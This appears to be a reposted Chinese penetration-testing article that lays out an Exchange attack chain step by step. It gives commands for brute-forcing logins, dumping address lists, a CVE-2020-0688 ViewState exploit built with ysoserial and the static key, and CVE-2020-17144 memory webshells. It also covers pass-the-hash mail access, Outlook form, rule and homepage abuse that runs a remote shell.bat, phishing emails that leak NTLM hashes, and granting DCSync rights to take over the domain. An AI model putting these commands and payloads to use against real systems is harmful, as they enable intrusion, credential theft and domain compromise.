首頁>技術>

0x00 前言

在滲透測試過程中,Exchange是一個比較奇妙的角色.

一方面,Exchange在外網分佈很廣,是外網打點人員進入內網的一個重要渠道.

另外一方面,Exchange在域內有著重要的地位,一般來說,拿到Exchange伺服器的許可權,基本等同於拿到域管的許可權.因此他又是內網選手重點關注物件.

本文將總結部分Exchange已知的特性以及漏洞.

沒有Exchange憑據的情況,主要有

爆破洩露內網資訊配合釣魚進行NTLM_Relay

有Exchange憑據的情況下,主要有

匯出郵箱列表Exchange RCE漏洞Exchange SSRF 進行NTLM_Relay使用hash/密碼 操作EWS介面攻擊outlook客戶端從Exchange到域管

以下詳細說明

0x01 爆破

在外網,看到開著Exchange,出現如下介面,我們可能第一反應就是爆破.

出現上面那種還好,burp攔截下,爆破開始

但是在滲透過程中,經常出現以下這種情況

對於這種情況,我們無需繞過驗證碼即可進行爆破.

事實上,除了上面那個介面之外,以下介面都可進行爆破,而且支援Basic認證方式.

/ecp,/ews,/oab,/owa,/rpc,/api,/mapi,/powershell,/autodiscover,/Microsoft-Server-ActiveSync

這裡推薦使用https://github.com/grayddq/EBurst這款工具,他能尋找可以爆破的介面,從而進行爆破

python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com

有個需要注意的點就是這款工具不支援自簽名證書,我們手動改下,忽略證書錯誤就行

0x02 洩露內網資訊1. 洩露Exchange伺服器內網IP 地址

把HTTP協議版本修改成1.0,然後去掉http頭裡面的HOST引數 或者使用msf auxiliary/scanner/http/owa_iis_internal_ip

可用以匹配的介面列表有

/Microsoft-Server-ActiveSync/default.eas/Microsoft-Server-ActiveSync/Autodiscover/Autodiscover.xml/Autodiscover/Exchange/Rpc/EWS/Exchange.asmx/EWS/Services.wsdl/EWS/ecp/OAB/OWA/aspnet_client/PowerShell

有兩個坑點

如果測試的是資料夾,後面沒加/,比如/owa,有些環境會重定向到/owa/,可能導致無法獲取到IPmsf的腳本里面限定了內網IP範圍,如果企業是自定義的內網IP,可能無法獲取到IP(程式碼)2. 洩露Exchange伺服器作業系統,主機名,Netbios名

由於支援ntlm認證,在文章利用ntlm進行的資訊收集裡面已經講過

在type2返回Challenge的過程中,同時返回了作業系統型別,主機名,netbios名等等。這也就意味著如果我們給伺服器傳送一個type1的請求,伺服器返回type2的響應,這一步,我們就可以得到很多資訊。

因此我們可以獲取很多資訊了,這裡使用nmap進行掃描

sudo nmap MAIL  -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll
0x03 匯出郵箱列表1. 使用ruler
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml  --email daiker@Linton-Lab.com -u daiker -p 密碼 --verbose --debug abk dump -o list.txt
2. 使用MailSniper.ps1

https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1

Get-GlobalAddressList -ExchHostname MAIL -UserName CORP\daiker -Password 密碼 -OutFile global-address-list.txt
3. 使用burp

登入exchange owa,右上角點選人員,左側所有人員,抓包一個POST型別的包POST /owa/service.svc?action=FindPeople&ID=-34&AC=1Body中有這個欄位

預設是80

然後檢視響應包,拉到最後

這個是總的郵箱數

然後把80 改成這個數,直接發,就是郵箱數,但是有點多,burp容易卡死。可以這樣

右鍵copy as request(這一步需要裝外掛)

然後複製到python檔案裡面

後面的內容改下

本來最後一行是

requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)

改成

r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)j = r.json()results = j.get('Body').get('ResultSet')import jsonprint(json.dumps(results))

然後執行python

python 1.py | jq '.[].EmailAddresses[0].EmailAddress' -r|sort|uniq|

這樣就提取出所有的郵箱

4. 使用impacket底下的exchanger.py

今年5月份剛更新的一個指令碼

python exchanger.py DOMAIN/daiker:密碼@MAIL nspi list-tables
python exchanger.py DOMAIN/daiker:密碼@MAIL nspi dump-tables  -guid xxxx
5. 透過OAB

(1) 讀取Autodiscover配置資訊,獲取OABUrl

POST /autodiscover/autodiscover.xml HTTP/1.1Host: MAILAccept-Encoding: gzip, deflateAccept: */*Authorization: Basic YmllamllbGU=Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Connection: closeContent-Type: text/xml; charset=utf-8Content-Length: 355<?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>daiker@Linton-Lab.com</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>

(2) 讀取OAB檔案列表

OABUrl/oab.xml

(3) 下載lzx檔案

OABUrl/xx.lzx

(4) 對lzx檔案解碼,還原出Default Global Address List

Kali下直接使用的版本下載地址:http://x2100.icecube.wisc.edu/downloads/python/python2.6.Linux-x86_64.gcc-4.4.4/bin/oabextract

./oabextract 67a0647b-8218-498c-91b4-311d4cabd00c-data-1315.lzx gal.oabstrings gal.oab|grep SMTP
0x04 RCE 漏洞

網上一搜Exchange的RCE漏洞還挺多的,但是在實際滲透中,只需要一個普通使用者憑據,不需要其他條件的,主要有CVE-2020-0688和CVE-2020-17144

CVE-2020-0688

在拿到一個普通使用者憑據情況下的RCE,Exchange2010沒有開箱即用的POC

靜態的金鑰有

validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BFvalidationalg = SHA1

我們要構造ViewState還需要viewstateuserkey和__VIEWSTATEGENERATOR

viewstateuserkey就是使用者的ASP.NET_SessionId,在cookie 底下

__VIEWSTATEGENERATOR是一個隱藏欄位。可以這樣獲取

document.getElementById("__VIEWSTATEGENERATOR").value

現在我們已經有了validationkey,validationalg,viewstateuserkey,__VIEWSTATEGENERATOR。就可以用使用YSoSerial.net生成序列化後的惡意的ViewState資料。

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping dnslog.cn" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="{填入__VIEWSTATEGENERATOR}" --viewstateuserkey="{填入viewstateuserkey,也就是ASP.NET_SessionId}" --isdebug –islegacy

然後構造URL

/ecp/default.aspx?__VIEWSTATEGENERATOR={填入__VIEWSTATEGENERATOR}&__VIEWSTATE={填入YSoSerial.net生成的urlencode 過的ViewState}

瀏覽器訪問就行

也可以直接使用頭像哥的工具

檢測

ExchangeDetect <target> <user> <pass>

利用

ExchangeCmd <target> <user> <pass>sub commands:    exec <cmd> [args]      exec command    arch      get remote process architecture(for shellcode)    shellcode <shellcode.bin>      run shellcode    exit      exit program

他的檢測邏輯是在返回的頭部加個資訊

Headers["X-ZCG-TEST"]=="CVE-2020-0688"

不排除某些網路裝置會檢測這個,可根據需求自行修改

另外有個需要注意的點,如果在域內,<target>填郵箱域名(mail.xxx.com)檢測不出來,可以先透過LDAP查詢每臺Exchange伺服器,然後一臺臺試試,說不定有收穫.

另外一個需要注意的點,執行命令的時候最好帶上cmd /c

CVE-2020-17144

需要普通使用者憑據的情況下的RCE,就Exchange2010能用

https://github.com/Airboi/CVE-2020-17144-EXP

https://github.com/zcgonvh/CVE-2020-17144

CVE-2020-17144 <target> <user> <pass>

執行完之後會有個記憶體馬,訪問

http://[target]/ews/soap/?pass=命令

頭像哥的這個工具有個地方需要注意的是,他預設監聽的是80埠的,咱們訪問EWS介面一般用443,就以為沒打成功,實際成功了.

0x05 hash/密碼 操作ews介面

可以使用現成工具

1. pth_to_ews

https://github.com/pentest-tools-public/Pass-to-hash-EWS

儲存在目錄下的inbox資料夾中為eml格式

pth_to_ews.exe https://MAIL/ews/exchange.asmx  -U daiker -P 密碼  -MType Inbox

傳送郵件

pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密碼 -Sendmail -T "123" -TM zhangjiawei1@Liton-Lab.com -B HTML.txt

搜尋郵件內容含有ACL的郵件

pth_to_ews.exe https://MAIL/ews/exchange.asmx  -U daiker -P 密碼 -MType SentItems -Filterstring "ACL" 搜尋ACL

如果有自己研發的需求,見3好學生的Exchange Web Service(EWS)開發指南

0x06 Exchange 在域內的位置1. 域內定位Exchange伺服器

在域內可以使用ldap定位,過濾規則

"(objectCategory=msExchExchangeServer)"

可以透過spn 來定位

setspn -Q IMAP/*
2. Exchange內部的域管憑據

拿到Exchange伺服器,有很大機率就是域管直接登入的.或者域管曾經登入過.拿到Exchange伺服器許可權的時候,可以嘗試直接dir下域控的C盤,看有沒有許可權.如果沒有許可權,再嘗試使用mimikatz抓一波密碼,很大機率可以直接抓到域管或者高許可權使用者.而且就算是高版本的server,在Exchange上也能抓到明文密碼.

3. Exchange的ACL

所有的Exchange Server 都在Exchange Windows Permissions組裡面,而這個組預設就對域有WriteACL許可權,那麼當我們拿下Exchange伺服器的時候,就可以嘗試使用WriteACL賦予自身Dcsync的許可權.

使用powerview,為當前exchange機器名使用者增加dcsync許可權(此處需要使用dev分枝中的powerview)

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Add-DomainObjectAcl -TargetIdentity ’DC=test,DC=local‘ -PrincipalIdentity exchange2016$ -Rights DCSync -Verbose}"

由於這個許可權,Exchange 的RCE常用以在內網滲透中用來提升到域管許可權.

因此在CVE-2019-1040中,除了可以攻擊DC,也有人選擇攻擊Exchange.

0x07 攻擊 OutLook客戶端

前提條件:

需要使用者憑據該使用者電腦裝了Oulook客戶端,用outlook檢視郵件的時候觸發.

攻擊效果

透過Outlook客戶端控制使用者電腦

有三種方式 Form,ruler,HomePage.

1. Form

Ruler

formruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml  --email daiker@Liton-Lab.com -u daiker -p 密碼 --verbose --debug form displayruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml  --email daiker@Liton-Lab.com -u daiker -p 密碼 --verbose --debug form add --suffix superduper --input C:\Users\tom\Desktop\output\command.txt --rule --sendcommand.txt 裡面的內容是    CreateObject("Wscript.Shell").Run "calc.exe", 0, False觸發 ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml  --email daiker@Liton-Lab.com -u daiker -p 密碼 --verbose --debug  form send --target daiker@Liton-Lab.com --suffix superduper --subject "Hi Koos" --body "Hi Koos,\nJust checking in."刪除ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml  --email daiker@Liton-Lab.com -u daiker -p 密碼 --verbose --debug  form  delete --suffix superduper

KB4011091 於 2017年9月的更新中修復

2. Ruler

檢視規則

ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug display

增加規則

ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug add —location “\\VPS\webdav\shell.bat” —trigger “popashell” —name maliciousrule

觸發規則

ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug send —subject popashell —body “this is a test by daiker”

刪除規則

ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug delete —id 020000006cfcd8d7

webdav可以這樣開

pip install WsgiDAV cherootwsgidav —host 0.0.0.0 —port 80 —root=/tmp/11/

沒有CVE編號,但是有些版本Outlook沒測試成功,可以看下這篇文章Outlook 2016 rules start application option gone

3. HomePage

1.Ruler

ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug homepage displayruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug homepage add —url http://xruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug homepage delete

2.pth_to_ews.exe

pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密碼 -Purl http://VPS:9090/aa.html -Type Set

HomePage 的內容是

在2017 年 11 月安全更新修復,CVE-2017-11774

修復後 Homepage 預設關閉,重新啟用:

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security] "EnableRoamingFolderHomepages"=dword:00000001[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\16.0\Outlook\Security] DWORD: NonDefaultStoreScript Value Data: 1 (Hexadecimal) to enable.
0x08 NTLM_Relay

在之前的系列文章裡面曾經說過ntlm_relay,ntlm_relay在Exchange上的應用也很廣泛.

主要有以下幾種攻擊場景

1. 普通使用者relay 到ews介面

由於EWS介面也支援NTLM SSP的。我們可以relay到EWS介面,從而收發郵件,代理等等。在使用outlook的情況下還可以透過homepage或者下發規則達到命令執行的效果。而且這種Relay還有一種好處,將Exchange開放在外網的公司並不在少數,我們可以在外網發起relay,而不需要在內網.

而outlook有個設計缺陷(具體版本稍不清楚),又可以導致我們給魚兒發一封郵箱,對方只需檢視郵件,無需預覽,就可以拿到魚兒的ntlm請求.

我們給魚兒發一封郵件,使用HTML,在裡面插入以下語句

 <img src="http://redteamw/">  <img src="\\IP">

這裡支援兩種協議,這裡說下兩個的區別

UNCUNC預設攜帶憑據,但是如果IP 是公網IP的話,很多公司是訪問不到公網445的HTTP協議預設不攜帶憑據,只有信任域(域內DNS記錄)才會攜帶憑據.域內的成員預設有增加DNS的許可權,可以用域內成員的許可權在內網增加一條DNS記錄.

給魚兒傳送郵箱

當魚兒用outlook開啟的時候就會觸發請求,我們再將請求relay到EWS介面

relay到EWS介面檢視郵件

relay到EWS介面透過HomePage控制Outlook客戶端

2. Exchange中的SSRF

在常規滲透中,SSRF常用以對內網的應用進行嗅探,配合內網某些未授權訪問的應用來擴大攻擊面.由於Exchange的SSRF預設攜帶憑據,在Relay的場景中,攻擊利用面被不斷放大,網上公開的一個SSRF就是CVE-2018-8581.

主要有兩種應用,relay到EWS介面,relay到LDAP

(1) relay到EWS介面

由於Exchange 是以System使用者的許可權執行,因此我們拿到的是機器使用者的Net-Ntlm Hash。並不能直接用以登入。但是Exchange 機器使用者可以獲得TokenSerializationRight的”特權”會話,可以Relay 到 機子本身的Ews介面,然後可以使用SOAP請求頭來冒充任何使用者。

具體利用請見Wyatu師傅的https://github.com/WyAtu/CVE-2018-8581

(2) relay到LDAP

所有的Exchange Server 都在Exchange Windows Permissions組裡面,而這個組預設就對域有WriteACL許可權.因此我們可以relay到LDAP,而又由於Relay到的服務端是Ldap,Ldap伺服器的預設策略是協商簽名。而不是強制簽名。是否簽名由客戶端決定。在SSRF裡面發起的請求是http協議,http協議是不要求進行簽名.

這裡面

攻擊者:172.16.228.1

Exchange:172.16.228.133

域控:172.16.228.135

使用impacket監聽埠等待連線發起推送訂閱指定所需的URL,Exchange. 伺服器將嘗試向這個URL傳送通知Relay 到域控的Ldap 伺服器並給普通使用者daiker新增兩條acldaiker進行Dcync0x09 引用滲透技巧——獲得Exchange GlobalAddressList的方法Owa-Outlook備忘錄

14
最新評論
  • BSA-TRITC(10mg/ml) TRITC-BSA 牛血清白蛋白改性標記羅丹明
  • 阿里內部人手一份!P8大佬也叫好的 高效能MySQL系列文件